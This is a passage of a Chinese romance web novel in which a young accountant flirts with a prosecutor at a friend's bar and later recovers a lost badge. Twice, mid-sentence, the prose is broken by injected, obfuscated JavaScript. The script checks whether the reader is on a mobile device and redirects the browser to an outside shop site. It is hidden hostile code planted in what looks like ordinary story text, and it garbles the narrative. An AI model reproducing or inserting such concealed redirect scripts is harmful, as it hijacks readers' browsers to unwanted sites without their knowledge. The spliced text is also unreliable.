《扯谎》 1. 第 1 章 01 五月中南城已悄然入夏。 傍晚七点过，晚霞还抓着云层不肯离去，成片的暖橙宛如一瓶打翻的橘子汽水自西展开。城市渐次亮起的路灯与之交相辉映，编织出一幅幕色繁华。 清河站A口出来有一条人工河，河道外侧种满了一簇簇长开不败的三角梅。花开正艳时这里人满为患，即使现在过了花期打卡的依旧络绎不绝。 黎姝从地铁站出来，长时间的加班让她心情受损，拉着脸穿过驻足的游客往小区走。 即使如此，她高挑窈窕的身材和那张昳丽张扬的容貌还是引来了不少惊艳的目光。 几分钟后到达小区门口。 见有人在刷门禁卡，她连忙快走几步在电子闸门回倒前闪身进来，在门卫室取了快递往单元走。 三个月前搬的新住所，虽是老小区却也是一层四户的电梯房，双重门禁，单完全性而言还算不错的。 刷开单元门，到电梯间按楼层上楼。 “宝宝你先让我进去好不好？我没有说你胖的意思……你真的误会我了……不信你看我还给你买了奶茶呢，你先开开门……” 还在电梯内黎姝就听到外面楼道熟悉的认错，她仔细听了听，是住在隔壁那对情侣里的男生。 电梯门开，她出来一看，果不其然。 男生光着脚站在走廊里，提了杯奶茶趴在他家门口的防盗门上敲着。 听到电梯门声回头，见到黎姝，他有些尴尬地打招呼：“下班了？” 黎姝换了只手拿衣服边走边找钥匙，颔首笑道：“又被女朋友赶出来啦。” 搬来三个月，她已经对这对小情侣动不动吵架的情况习以为常了。开始碰见的时候怕女生吃亏还劝过一次，后来时间长了发现那不过是人家小两口增进感情的小情趣就没再多过嘴。 男生讪讪地摸了摸鼻尖，压低声量说:“是我主动出来的，让着她呢。” 黎姝质疑地挑眉。 果然，不出一秒门内便传出了他女朋友气急的声音：“好啊周楠，那你的意思是说我无理取闹咯。” “不是，我没这个意思。” “既然那么能说，你今晚就在外面说个够别回来了！” “啊，我开玩笑的。”一听又把人惹毛了，周楠继续拍门认错，“亲爱的再给我一次机会，我刚刚只是吹个牛……” 隔着门两人开始了新一轮的拉扯，黎姝怕殃及池鱼，加快脚步走到自家门前，迅速输密码进屋。 门一关上耳边顿时清净下来。 她暗出了口气，随即弯腰换上拖鞋，捏着发酸的肩颈走进客厅将包和外套随手丢在扶手上，人跟着往沙发上一躺。 休息了不过几分钟，耳边响起微信的通话提示音。 她挣扎着坐起，捞过小包，摸到手机翻过来看显示，是她的好姐妹方馨冉。 她接通:“喂？” “下班没？” “刚到家呢。怎么了？” “叫你出来吃饭啊。”方馨冉说，“这不有阵子没见了吗，完了去醉今朝喝点。听说季衍也去，咱正好敲他一顿。” 钱老板大名钱易政，是方馨冉的高中同学兼男朋友。在天河街开了家名为“醉今朝”的酒吧。季衍跟他们小两口是同班同学，三个人关系好，时常小聚碰面。 黎姝没兴趣:“你们老同学见面我跟着掺和啥。” “看帅哥啊！”方馨冉神秘兮兮地，“我们家钱老板说他还带了个检察院的同事，长得贼帅。” “帅哥又不是没见过，有什么好稀奇的。”黎姝不以为意，起身去厨房倒水。 她打开冰箱门，手机夹在耳朵与肩膀间取出矿泉水继续:“我就算了吧。连续加了一个星期班现在只想躺平休息。” “而且你没看网上说的吗？十个帅哥九个渣，还有一个准是gay！” “谁说的，我怎么没刷到。”方馨冉压根不信她的鬼扯，保证道，“今晚这位是真帅哥，单身，186，不是gay。” 黎姝哦，还剩下一条：“那就是渣了。” “……” 方馨冉沉默一瞬，气笑了，“给你一次机会把话收回去。把我当什么人了，真勒是！” 她是会给姐妹介绍渣男的人吗？ 她无语地再度发问:“你真不来？” “下次吧，下次一定。”黎姝说，“最近真的很累。” “陈叙州在也不去？” “谁在——”都一样三个字在听清名字猝然哽住，黎姝迟疑，“你说谁？” “我有说什么吗？”方馨冉装傻。 “季衍带的那个同事是陈叙州？”黎姝没跟她兜圈子，急切追问。 “谁啊？” 方馨冉继续装傻，但黎姝已经从她避而不谈的回应里得到了准确答案。 她顿时态度一百八十度垂直转变。热切地和方馨冉讨论在哪见，吃什么？那双标谄媚的语气给方馨冉气笑了。 她哼哼:“不休息啦？” 黎姝理由张嘴就来：“保持一定的运动量也叫休息，我突然想起来我今天的微信步数还没达标。还是得出门走走。” 方馨冉信她个鬼，没好气骂了她一句“重色轻友”，说道:“等我选好地方再发你地址。” 黎姝隔空么么:“爱你！” 挂了电话，黎姝回房间收拾收拾去洗头洗澡，很快洗完出来，在吹头发时方馨冉弹了家纸包鱼的地址过来。 黎姝搜了下距离不算太远。 她抓紧速度化完妆，翻出上月逛街买的新裙搭了双小跟凉鞋。余光瞥到鞋柜上的小快递盒。想起装的什么，退回房间，找剪刀剪开盒子倒出里面的香水喷了点才满意出门。 夜风温热，浓沉幕色和灯光一起倾落，空气中飘着小区内热闹和黄果兰的清甜香，明亮月牙悬在枝头，月华皎洁。 出门前叫了滴滴，一到小区门口便接到了司机电话。 根据指示找到了停靠在路边的黑色大众，黎姝拉开后车门坐上去。二十分钟后，车子停在烤鱼店门前的路边。 她下车，给方馨冉发消息：【我到了。】 很快，对面回道：【进门右手边往里走，靠窗最后一桌】 黎姝收起手机进店，在服务员的帮助下找到了对着食物正在拍照的方馨冉。 走近了才听到她在发语音，语气黏腻，一听就是和钱老板。 黎姝拍了下她的肩膀，在对面坐下。 方馨冉抬头，眼神示意她先坐，捏着语音键说话:“黎姝来了，我先不跟你聊了，等会儿再去找你。” 发送后在屏幕上又敲了几下，才抬首问:“怎么这么慢？” 黎姝拉了个凳子过来放包，用上万能借口:“堵车。” 方馨冉没怀疑，把手机递过去，空手抓过玻璃水壶倒茶：“点了小份麻辣黔鱼，你看下还需要加点什么？” 黎姝翻阅着订单上已点的菜品。 小份的麻辣黔鱼，除了原有的配菜外，青笋豆芽莴笋和泡面都单独加了一份，合起来也有十来个菜了，这样的分量两个人吃感觉能撑死。 她将手机还回去，拾起筷子捅破套碗的薄膜说：“就这些吧，多了吃不完浪费。” 方馨冉点头，问：“喝什么？” “旺仔牛奶。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641168|156437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “？”方馨冉抬眼，表情无语，“要不再来瓶爽歪歪？” “一板吧，一瓶不够。” “……” 人还没见到已经疯了。 方馨冉懒得喷，无视她的要求叫住路过的服务员要了瓶冰冻的中号豆奶。 很快，鱼和豆奶都端了上来。服务员给纸包鱼烤架点火做定时，和她们告知等候时间后又倒了豆奶才下去。 方馨冉才打量起她来，啧啧：“你确定你是去喝酒的而不是选美？” “好看吧。”黎姝收了夸奖，手像花瓣一样打开停在脸侧，“我化了好久的呢。” 方馨冉:“你就算不化也美啊。” 黎姝天生长了张漂亮脸，浓颜姝色，五官精致而妩媚，带着攻击性极强的张扬。偏又生了对甜味十足的梨涡中和了眉眼带来的清冷。 令人一眼心动，舍不得挪开目光。 “有品！” 计时器响起，服务员上来处理灶火。黎姝啊呀，执筷给她夹了最香的一块鱼肉放进她碗里，“看在你这么会说话的份上，这块最好吃的给你。” 两个人打打闹闹地吃过饭，结账出了烤鱼店，两人打车前往天河街。 天河街位于南城的城东，临着护城河而建起的集民宿客栈风情酒吧休闲娱乐为一体的娱乐区，是南城著名的娱乐街之一，‘醉今朝’酒吧就开在巷子里。 工作日的原因，酒吧内客人不算多，三三两两的稀拉坐了三分之二左右。 方馨冉径直走到吧台，问店员:“茶茶，你们老板呢？” “老板娘来了。”忙碌中的店员茶茶见是老板娘，打了声招呼，取下两瓶1664熟练地启口开了瓶盖放进托盘，闻言朝角落的方向努努嘴，指道:“在那儿不是。” 顺着望过去，果然一眼便瞅到坐了在最后排和人喝酒的“醉今朝”老板钱易政。 同桌还坐了两个男的。右手边独座上的是季衍，不知道讲了什么有趣的事抬起瓶口和钱老板碰了下。而另外一位则背对着吧台看不见脸，只有一道劲瘦的背影和探去烟灰缸抖烟灰的半只手可供几分臆想。 很漂亮的一只手，手指修长白皙，骨节如玉分明。食指和中指间衔着一根燃了过半的烟。灯光昏昧，烟雾随着他指尖点拨的动作挥散在空中，似一层朦胧的薄纱隔开外界的窥视。 陈叙州。 黎姝眉尖一动，仅一个背影便已经猜出了他的身份。 她盯着那道连后脑勺都如此优越的背影嘴角不受控制抿出一抹笑。 方馨冉见她这幅不要钱的花痴样，骂了句“出息”后带她过去。 刚过去就被正对着她们的钱老板发现了。他放下酒瓶，抬手示意了下随后起身相迎说“来了”，又望向黎姝哟，“大美女也来了。” 黎姝：“这叫的，我不喊你一声帅哥都显得我不懂事了。” “我表现得有这么明显吗？这都被你猜出来了？”钱易政哈哈笑着让出位子给两人坐。 黎姝又同季衍打了招呼，而后随同方馨冉落座，刚好在陈叙州对面。 比起之前的远距离，现在看得更清了。 冷峻的眉眼，五官立体，脸部线条流畅顺滑，像是3D游戏里俊朗的门派师兄建模。 她不动声色的打量着，却冷不定对上了他察觉后投来的视线，心跳陡然乱了下，睫毛呼颤。 黎姝抿唇，手下拽紧包，稳住胸口的荡漾，弯眸若无其事地扬唇打招呼嗨：“好久不见。” 陈叙州放下翘起的长腿，身体前倾在烟灰缸里掐灭还剩半截的烟，抬眸，目光在她含笑的脸上停顿了一秒，眉尾轻轻挑起，尾音上扬：“好久、不见？” 2. 第 2 章 02 他声线清磁，唇角噙着丝微末的笑偏望向她。目光沉静，茶色的瞳眸似黑夜里燃烧的烛火回望着她。 黎姝笑容微滞。 明明只是一句平常的回应，但她还是敏锐地从他几不可察的停顿里听出了点言外之音。 ——他不认识她 意识到这点黎姝眼皮无预兆地跳了跳，心底生出几分不可置信。 作为从小到大情书礼物收不停,外人见她第一面都是“漂亮”的人来说，黎姝对她的容貌有着很清晰的认知。绝对不是过眼云烟的类型。 可他疑惑的表情又不像作假。 她抿唇，不死心地盯着他观察了几秒，确认过他对她是真的没有印象，心情有些复杂。 倒是季衍听到两人对话“咦”了声，目光在两人间来回转了转惊讶:“你们两认识啊？” “什么时候的事？”亏他今天还专门把人叫过来就是想介绍他们认识。 陈叙州目光依旧在黎姝身上，好整以暇地望着她。似乎在说:我也想知道 “……” 黎姝扯了扯嘴角，抿着笑主动接过话头回道：“就酒吧开业那天，你不是也在吗，忘啦？” “有吗？”季衍闻言回忆了下，哎，“还真是，喝多了不记事。” 方馨冉喷他：“废物小趴菜。” “咱两酒量半斤八两，谁也别笑话谁啊。” “我喝醉了可不会拉着狗跳舞，更不会哭着求它别走。”方馨冉乐此不疲地拉出他的黑历史，引起一桌人失笑不已。 有一年他和女朋友分手了喝的烂醉如泥，拉着店家栓在门口的小土狗又唱又跳，鬼哭狼嚎。 季衍啧：“怎么又提这茬。管管你老婆啊！” “别拉我下水，我可管不住她。”钱易政哈笑两声，侧身问两位女士喝什么。 方馨冉又呛了老同学一句，闻言扫了眼桌面上清一色堆积的啤酒瓶也点了两瓶。 “黎大美女呢？” 黎姝：“我喝水吧，随便拿瓶矿泉水就好。” “起身出门右转。” 季衍敲敲桌面，严肃提醒:“大美女，这里是酒吧不是超市，要喝水去巷口奶茶店。”叫住给顾客送酒水的茶茶交代调杯‘清晨玫瑰’过来。 ‘清晨玫瑰’是“醉今朝”的招牌之一，一款特调的鸡尾酒。度数低，口感顺滑，不仅有一股水果的清甜的调出来的颜色更是美到梦幻，似粉非红，裹着一层恰到好处的渐变，漂亮得像清晨含露的玫瑰，深受女性客人的青睐。 黎姝之前喝过，见躲不过也就对这安排没意见。 酒吧氛围清静，轻音乐缓缓流淌，非常适合谈天说地闲话日常。 交代完钱易政摸过烟盒敲出一根，问黎姝:“好久没见你出来玩了，最近都在忙啥呢？” “加班啊。”有小吃送上来，黎姝道了声谢才回他，“这不月末嘛，每天两眼一睁就是忙核算写报告。” “累得要死要活还不涨工资，也不知道上辈子造了多大孽这辈子才会投身做财政。” 她本科学的会计。大学毕业后，回来第一年就在家备考参加了公招成功上岸清河区财务局，在预算科都快三年了。 平时不忙还好，一忙起来就跟抽了鞭子的陀螺似的连轴转不停，加班加到阎王都怕你下去对不上死亡名单。 “大家都一样，我这周也跑了三天外勤也快废了。”季衍感同身受，指指身侧，“也就这位潇洒点。” 陈叙州握着杯子的手一顿，感受到对面投来的视线，复敲着杯沿侧目觑了季衍一眼:“我怎么不知道什么时候请了你当代言人了？” 转向黎姝：“你在财政局上班？” 黎姝颔首说对。 “市财？” “清河区财政局。”黎姝问，“怎么了吗？” 他指尖缓慢敲着杯壁，在她好奇的目光中说道：“没什么，随便问问。” “……” 好的嘛。 她干笑两声，端起自己的酒杯掩饰尴尬。好在话题转移很快各种牢骚八卦岔得比较开。 聊到中途，黎姝起身去外间上卫生间。 上完洗手照镜子的时候见口红有点脱妆了，包也没在手边，干脆抬手直接抹掉了。 她抽了几张纸擦干净手往回走，到酒吧门口刚要进去，眼角忽然瞟到了正在打电话的陈叙州。 他脱了外套，只穿了件纯色黑衬衫站在划分区域的装饰花架栅前。鼻梁高挺，侧脸优越得像画家一笔一笔精心勾勒出来的。 灯光暧昧，衣冠楚楚。 黎姝收回脚步，望着他高挑的身影脑中不由想起第一次的见面。 两个月前“醉今朝”正式营业。她作为未来老板娘的闺蜜自然被抓丁担负暖场的任务。 不巧的是开业当天家里出了点事，等她处理完回来时酒吧里已经人满为患了。幸好当天在场的熟人多，大家凑合挤挤拼了个座位给她。 她就是在那样的情况下见到了陈叙州。 男人生得一副极好的皮囊，估计是才从什么正式场合过来。西装革履一身笔挺，端坐在昏昧不明的灯光里，低敛眉目，含了丝笑漫不经心地侧身和好友说话。 灯光炫目，周身喧闹沸反。 黎姝只觉有风从远处吹来迎面而去，掀动了她常年如死水般平静的心湖涟漪起涌，心脏却怦怦直跳。 心绪搅动中听到方馨冉攀着她的肩膀在耳边轻声介绍：“喏，他就是经常跟你提的陈叙州。怎么样，帅吧？” 何止啊—— 黎姝望着那张堪称完美的脸，再次发出和当初一样的感慨。 也不知道长的，怎么就这么偏偏长在了她的审美点上呢。 她正沉浸在美色中无法自拔，以至于没留意到身侧的情况。直到耳边一道陌生的声音将她的注意拉了回来。才惊觉不知什么时候面前多了个穿西装系领带的男人。 男人见她望过来，松了口气说道:“美女，能麻烦挪一下让个道吗？” 黎姝才发现她竟然堵住了路口:“不好意思啊刚没注意。” 她一边道歉一边往边上走，让开通道，抬头却见男人并没有走。 “还有什么事吗？” “那个……”西装男清咳了声，问道，“可以加个微信吗？” “……” 黎姝望着他手机上的添加名片，再看他飘忽的视线，哪里还不明白是早有预谋。 她熟练地拒绝：“不好意思，我没带手机。” 西装男听出是借口却依旧不死心：“给个号码也行。” “平时没有记号码的习惯，抱歉。”黎姝依旧面不改色婉拒。 “□□号总可以吧。” “……” “还给马化腾打飞车了，你去找他要吧。”黎姝被他缠绕得有点烦了，胡说一通，绕开他走。 三番两次被拒，周围还有八卦的视线，西装男面上过不去顿时脸色一变，恼怒地伸手去抓黎姝:“一个微信而已，你也太绝情了吧！” 被拦住黎姝脸也拉下来，皱眉张嘴正要说话，一道悦耳的声音就落在了耳边。 声线清磁，带着几分不经心的揶揄和熟稔，“你不进去站门口干嘛，给钱老板当门神？” 黎姝心头一跳，循声回首。 原本在打电话的陈叙州不知何时结束了，信步朝这边走来，长腿快步，三两步便到了跟前。 他视线从不及肩头的西装男身上掠过落在他伸出去的手上又移到黎姝脸上，挑眉 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手指被凌迟剁停在屏幕上，正如她对别人绝情一样拒绝的回旋镖还是扎了回来。 黎姝摁灭手机屏，若无其事地颔首：“那下次吧，回头有机会再加。” 说完不等他开口先一步过去了。 陈叙州看着她窈窕的背影，眼睫垂下的阴影投落在脸睑下，遮住晦暗难辨的神色。 回到座位上，桌上只有方馨冉和季衍两个老同学了，聊得热火朝天。见他们回来热情地招呼过去一起吃瓜，丝毫没留意到两人之间的微妙的异常。 一场酒喝到九点半左右才散场。夜风轻拂，街上灯火阑珊，来来往往的车川流不息。 几人站在路边等车。季衍给代驾师傅打完电话回头问两位女士怎么回去。 方馨冉挽着黎姝的手说:“我一会儿还要回酒吧陪我们家钱老板先不走。” 黎姝哦:“我打个滴滴就回去了。” “那你跟我们一起呗。”季衍邀道，“反正要送陈叙州，顺便把你也送回去。” 黎姝往旁边瞥了眼，虽然心动嘴上却依旧客气:“会不会太麻烦了？” “开着车呢有什么麻烦的，刹一脚的事。”季衍还没开口方馨冉就截了话，“再则你一个女孩子大晚上打车多危险啊，没看前两天网上的网约车性侵案吗？” “惨案多数都是夜间发生，你还喝了酒。安全起见还是坐他车吧。” 平时经常夜归一个人打车的黎姝:“……” 她暗暗捏了捏姐妹的胳膊示意可以了别讲得太离谱。 季衍也说:“就坐我车嘛。送一个是送送两个也是送。不麻烦。” 话都说到这个份上了，黎姝也矜持够了，顺势下坡点头，“那我就厚脸皮蹭个车了。” “客气什么，小事。” 说话间代驾已经把车开了过来，停在几人身侧。 招呼上车时，陈叙州已拔腿走至车边，打开后门坐了上去。 季衍疑惑:“怎么不坐前面？” “有点晕车。”陈叙州摇下车窗透气，语气淡淡，“后面舒服些。” 认识这么久季衍也没听他提过，一时诧异道:“什么还晕车了？” “刚刚。”陈叙州捏了下眉心，坦然自若地说道，“喝了酒就有点。” 季衍不疑有他，转过身去想喊黎姝。却见她同样走到后面，咔哒一声再度打开后门，朝里面的陈叙州挑眉:“能稍微往里挪一挪吗？” 她抿唇，水眸清亮，白皙的脸上颇有几分赧色，声音轻飘。 “我好像也有点晕车。” 3. 第 3 章 03 初夏的夜晚空气逐渐闷热，微风和煦，路灯朦胧昏白。 她弯腰站在车旁，乌黑的鬈发随着倾身的弧度缓缓垂落至胸前被微风吹动，手轻轻虚搭在车窗沿上，渐变的美甲在灯下曳着流光。嘴角带着笑，一双眼狐狸似清媚，泛着无辜却勾人。 陈叙州眼眸微沉，提醒她：“右边车门没锁。” “那边车太多，我怕待会儿被撞到。”黎姝随口扯了个借口。 巧合的是她话音落下车道上真就有一辆摩的“轰”地冲来，擦着他们的车飚向了远处。 黎姝：“……” 她缓慢地眨了下眼，神色无辜：看吧。 黎姝被突然的轰鸣声吓得冷不丁跳了下，缓过来想以此为借口，却见刚刚还坐在窗口边的人早已挪到了右侧。 她顿了顿，随即笑开，拉开车门弯身坐进去：“谢谢。” 陈叙州拽住被她坐住的衣角顺势往外抽，语气带着轻缓的生疏：“客气了。” 黎姝:“……” 有种拳头打在棉花上的心梗，她转移憋屈地扭头和外面的方馨冉道别。 “等会儿——”方馨冉忽走过来弯腰低头越过她看向坐在里面的陈叙州，说，“黎姝就拜托你照顾一段时间了，待会儿她要是在车上发酒疯，你多担当。” “发酒疯？”陈叙州挑眉，视线偏转。 黎姝也懵逼，随即背着他朝方馨冉疯狂挤眉：这又是哪一出？！导演，你导戏能不能提前吱一声给演员一点准备啊！ 方馨冉没理会，当着她的面继续造她的谣：“是啊，她酒量不太好。” 至今喝酒没醉过黎姝：“……” 鸡尾酒醉个毛线啊！ 她耳根微热，没脸见人的握拳抵唇撇去一旁。 “当然也不是绝对的，我也只是提前打个预防针。总之她路上有什么过分的举动那都是无意识，你不要见怪。” 陈叙州了眼装聋作哑低下的脑袋，眼中闪过一丝笑意，抿住上扬的唇角意味不明回说：“那得看有多过分了。” 黎姝：“……” 今晚的康桥沉不沉默她无从知晓，但此刻的她却很沉默。 夜晚的天河街和白天截然相反，这里娱乐场所遍布，热闹浪花似掀开。一到夜晚到处招牌霓虹闪烁不停，车水马龙，沿边路上都是各类的士出租在下客揽客。 后边的车等得不耐烦了，开始打闪灯按喇叭催促，黎姝正好借口打断好姐妹语出惊人免得她又说出什么惊天动地的话出来。 方馨冉只好就此打住，叮嘱说：“到了发个消息。” 黎姝挥手比了个“ok”手势，随后跟司机说可以走了。 夜风清爽，车辆平稳行驶，副驾上的季衍和代驾师傅有说有笑地闲聊，时不时还会爆发几声感叹。 对比前排的轻松愉悦，后座的氛围就压抑多了。从上车以来后面的两位除了开始的交流外一路上别说聊句话连眼神都未曾交汇过。 狭窄的后车厢像是处于一块被压缩的海绵，空气不断被挤压剥离，昏黄的路灯也是飘进来又散出去。 转过岔口过后，副驾上的季衍似乎才想起来还没问地址，扭过身来问黎姝:“你现在还是住在原来的地方吗？” 沉默被打破，黎姝如释重负地暗松了口气，回说没有：“我都搬家好几个月了。” 说完报了个地址。 季衍在导航里输入名字搜了下，看着跳出来的显示，诧异，“好像和之前的小区隔得不远嘛。” “差不多，但是现在这个房租便宜些，离单位也比较近上班方便。” 她上一个租的地方离清河区财政局远。坐地铁四十来分钟，不算高峰期光是通勤每天都要花费一个多小时。现在的小区和之前虽然只隔了两条街，但中途不用再折腾转线了，而且距离地铁口也才几分钟，省时省力。 “我也想找个离单位近点的，看了好多也没几个合适的。”季衍叹气，“关键房租还高，遭不住。” “租房都这样。”黎姝抬手勾了下被吹乱的碎发，安慰道，“慢慢来吧会找到的。” “希望吧。” 两人就房租又进行了波吐槽，旁边突然插进来一句。 “你怎么知道她家在哪？” 是一直没说话的陈叙州，他抬眼：“去过？” 季衍：“之前帮方馨冉给黎姝送过几次东西。” 陈叙州挑眉啊了声，像是想起的随口询问，得到答案后不再纠缠转而说道：“把你手机借我用下。” “你的呢？” 话虽这样说季衍还是把解锁扭头递了过去。 “没电自动关机了。”陈叙州接过手机，神色自若地回道。 “？！” 黎姝倏地转过头，一双美眸因惊愕圆了几分。 所以他之前说手机没电是真的没电了而不是拒绝她才找的借口？ 她感觉死去的心又活了几分。 季衍:“没电早说啊，我刚就在店里给你扫个充当宝了。” 边说边打开驾驶座和副驾驶座中间的中控格，从里面抓出一把数据线扯了其中一根，朝他伸手，“手机给我，我给你充会儿。” “不用了。”陈叙州在屏幕上敲打着，头也没抬说，“我回家再充。” “行吧。” 季衍将线重新丢回储物格，转回来和黎姝继续闲扯。 有了他搭话攀谈后排的气氛顿时变得轻松，不知不觉间就到了小区附近。 望着外面闪过的熟悉建筑，趁着等红灯的档息黎姝跟代驾说道：“师傅，在前面那个路口把我放下就行了。就几步路我自己上去。” “开到小区门口吧。” 代驾师傅还没回话，陈叙州先出声道。他转头，对上她困惑的美目义正言辞地说：“你好姐妹让我把你安全送到家，最起码要看见你进了小区才好交代。” 又问：“往哪边？” 黎姝顺口接道：“……左转上去。” 转弯的红灯变绿，司机按她的指向把车开了上去停在小区门口。 陈叙州往外扫了眼，门口屹立的照壁上刻着的小区名正是他们聊到的。 依旧是他这面临小区，都不用黎姝开口他自觉开门下车，黎姝紧跟着下来。 “今天麻烦你们了。” 季衍在靠着窗摆手嗐：“说这些，回去慢点啊。” 黎姝说好，扭头望向陈叙州，却见他也盯着自己似乎在打量什么。 道别的话术暂时压在舌尖下，轻声问怎么。 他没回话，而是抬手修长的手指在她跟前晃摆，“这是几？” “？” 黎姝不明所以如实说，“一啊。” 陈叙州收回手:“看起来还算清醒，能自己上去吧？” “……” 所以刚才是测试？ 黎姝吐槽，“你这测试的方式也太敷衍了，万一我刚才是凑巧呢。”而且哪有人只测一次的，也太不严谨了。 陈叙州不置可否，挑眉说:“现在可以确定了。这么清晰有条理的话醉酒的人说不出来。” 黎姝:“……” 他抬眼往小区里扫了眼，说:“太晚了，进去吧。” 黎姝:“……” 等她的身影走进小区消失在拐弯处陈叙州才转身回车里。 他关门坐下，屁股下有轻微的铬痛，伸手摸到一枚冰凉的金属。指尖摸索出圆形的轮廓，腹部还有些不平稍显扎手。 他举起对着窗外，借路灯微若的灯光终于看清，是枚金属徽章。 让季衍把车内来灯打开后举起东西对着光线仔细瞧了一番，才辨认出图案是个带有设计巧思的异形“姝”字。 “什么东西？” 季衍伸长脖子，看清他手里的徽章，诧异地咦了声，又想到刚才坐过的人，猜测道，“黎姝的？” 陈叙州收手，不让他看到正面，“不知道。” “那我现在打电话让她回来？” “叫她回来干嘛？”陈叙州摩挲徽章笔触的动作微滞，撩起眼皮瞟他。 季衍解锁打开通讯翻着号码，理所当然道：“回来拿东西啊。” 陈叙州：“你确定是她的？” 季衍拨电话的动作迟疑：“……应该是吧。” “应该？”他拧了下眉，“你是说大晚上的，为了你一个不确定的猜测，让人家女孩子回来白跑一趟？” 顿了下，拉长音哦漫不经心继续补充：“还是意识迷糊的酒醉状态。” 季衍：“……” 他沉吟：“就几步路，不至于有什么危险吧。” “那你打吧。” 陈叙州抬抬下颌，一副我不劝你但眼神明显鄙夷的样子给季衍瞅得自己不是人。 “算了。” 季衍收起解了锁的手机揣回去，“今天确实太晚了，等明天我再问她吧。”说完吩咐司机可以开车了。 将陈叙州送回他的住处，季衍刷着朋友圈，当看到方馨冉在朋友圈发的寻物启事，里面描述的物品和那枚徽章吻合后，他正要回复。 忽然，叮得一声，通知栏弹出微信。 是陈叙州。 【把黎姝的名片推给我】 * 黎姝是去拿手机充电才发现原本别在包带子上的徽章不见了的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641170|156437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她在沙发上和桌上都找了一遍没找到，还给还在方馨冉去了电话询问是不是落在酒吧里，电话回过来时她正在洗脸。 方馨冉说：“我问了老钱和茶茶他们，都说没看到，你再仔细找找包里呢。” “找两三遍了，都没有。” “应该不会丢啊。”方馨冉问，“很贵吗？” “几块钱的东西，你见过的。就是上回我过生玥玥送的那枚徽章。”黎姝拧上水龙头，抽了张洗脸巾擦干净脸上的水，取下手机边回房间边解释，“我主要是怕周末回去她看不到又闹脾气。” 她妹妹黎玥是个喜欢二次元的高中生，平时最爱买各种小说动漫周边，也会花钱去约一些画稿做。那枚印有名字的金属徽章就是她专门去约稿定制的。 一想到每次回家她都会检查，黎姝没被酒精麻痹的头就有些疼。 “实在找不到就算了，大不了我回头给她买个手办哄一下。” “这样也行。”方馨冉点点头，随后八卦起晚上的送人后续来，“有没有什么进展？” 黎姝将手机丢梳妆台上，闻言呵呵呵，“毛都没有。” “不会吧？”方馨冉觉得匪夷所思，“我台子都给你搭得巴巴适适的，你别跟我说一路上你连点小便宜都没占？要真的，我鄙视你！” “你还好意思说呢！” 提起来黎姝就郁闷，她挤了两泵精华水在手心搓开拍打在脸上，吐槽道，“我拜托你下次找借口能不能给我找个好一点的？” “发酒疯，亏你想得出来哦。这不是在变相提醒他提防我嘛。”回想起来尴尬的余温还在延续，“你都不知道他防我跟防贼没两样。一路上我后背都在发麻，感觉只要我伸过去一根手指，他下秒就能把我丢下去。” 方馨冉听得目瞪口呆:“……” 她迟疑，“有这么夸张？” “这还不算什么。”黎姝将在酒吧附近发生的小插曲简述了一遍，呵呵，“别说拿下了，姐连个微信都加不上。” “……” “太惨了。”方馨冉默然片刻评价道，同情说道:“微信待会儿我推给你。” 黎姝感动：“有你真好。” 话音刚落，锁屏的界面上忽然跳出一条好友申请。 黎姝拿起手机，面容解锁，点开通讯录多出的红点点。 看到验证框里填的“我是陈叙州”几个字，一时沉默。 方馨冉察觉到她的沉默，关心询问怎么了。 “姐，姐妹。”黎姝叫她，声音里有几分望外的惊喜，“微信你不用推我了。” 方馨冉:“为啥？” 黎姝反复确认了两遍，接受他的申请，解释说:“他加我了。” “谁？” “陈叙州。” “……” 两人齐齐陷入沉默，还是方馨冉主动中断了通话催她去聊聊。 主页跳出了添加成功可以聊天的系统通知。 黎姝明知故问地打了个问号过去，【陈叙州？】 过了三秒左右，对面回复。 【是我】 随后沉默了，黎姝等了几秒也没见下一条，思忖着怎么开口对话里闪进新简讯。 陈叙州：【座位上捡了个小物件，你的？】 一张照片传了过来。 黎姝定睛一看，不就是她弄丢的徽章嘛。 黎姝：【是我的】 黎姝：【还以为找不到了呢，没想到是落在车上了。】 陈叙州问：【我明天交给季衍，让他给你？】 想起季衍在车上的言论，他蹙了蹙眉，又快速补了一句，【但是我明天出外勤，不一定能碰上他】 那可太好了！ 黎姝还在烦恼该找什么借口找他当面拿，一见这话心说太巧了，赶紧说：【那这样，如果你方便的话东西先放你那儿，等我过两天再去拿行吗？】 发完，她静心等着，度秒如年的三分钟后终于盼来回复。 陈叙州:【可以】 陈叙州:【你什么时候来取？】 黎姝松了口气，思索过后选了周末，【星期六晚上行吗？】 陈叙州：【可以】 黎姝：【那就七点在醉今朝见？】 陈叙州：【好】 结束对话后，在好奇心的驱使下黎姝点进他的朋友圈。 他没有“仅三天可见”之类的设置，发布的动态不多，总共就几条。除了最开始几条是过年的聚餐照，后面都是转载的南城市检察院公众号发布的博文。 干干净净，指尖一滑到底。 “……” 她算是知道为什么不设门槛了。 4. 第 4 章 04 翌日是周五。 得益于之前一周没日没夜的加班，预算科难得有个清闲的日子。下午，办公室的几人点了奶茶唠嗑聊八卦，顺便等下班。 黎姝正听得上头忽然有电话打进来，她扫了眼来电显示，划开接听，“喂，妈？” “念念。” 电话一接通，苏琴温柔的声音从听筒传出来，喊着她的旧名：“下班了吗？” “还没呢，五点下班。”黎姝吸了口奶茶回道，“怎么了？” 